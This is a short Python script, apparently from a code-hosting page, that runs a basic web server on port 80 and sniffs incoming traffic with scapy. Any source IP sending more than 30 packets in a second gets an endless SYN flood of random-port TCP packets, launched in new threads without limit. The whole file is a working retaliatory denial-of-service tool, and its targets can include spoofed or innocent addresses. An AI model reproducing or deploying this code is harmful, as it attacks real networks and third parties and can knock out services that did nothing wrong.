48 lines
1.1 KiB
Python
48 lines
1.1 KiB
Python
from scapy.all import *
|
|
import http.server
|
|
import socketserver
|
|
import threading
|
|
from time import sleep
|
|
|
|
PORT = 80
|
|
MY_IP = get_if_addr(conf.iface)
|
|
|
|
Handler = http.server.SimpleHTTPRequestHandler
|
|
http = socketserver.TCPServer(("", PORT), Handler)
|
|
|
|
addresses = {}
|
|
|
|
def spam(ip):
|
|
while True:
|
|
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
|
|
send(packet, verbose = False)
|
|
|
|
def empty_addresses():
|
|
while True:
|
|
sleep(1)
|
|
addresses.clear()
|
|
|
|
def handler(pkt):
|
|
print(pkt)
|
|
address = pkt[IP].src
|
|
if address == MY_IP: return
|
|
if address in addresses.keys():
|
|
count = addresses[address]
|
|
if count > 30:
|
|
spammer = threading.Thread(target=spam, args=(address,))
|
|
spammer.start()
|
|
addresses[address] += 1
|
|
else:
|
|
addresses[address] = 1
|
|
|
|
def sniff_packets():
|
|
sniff(filter=f"tcp port {PORT}", prn=handler)
|
|
|
|
if __name__ == "__main__":
|
|
sniffer = threading.Thread(target=sniff_packets)
|
|
sniffer.start()
|
|
emptyer = threading.Thread(target=empty_addresses)
|
|
emptyer.start()
|
|
http.serve_forever()
|
|
print("serving at port", PORT)
|
|
|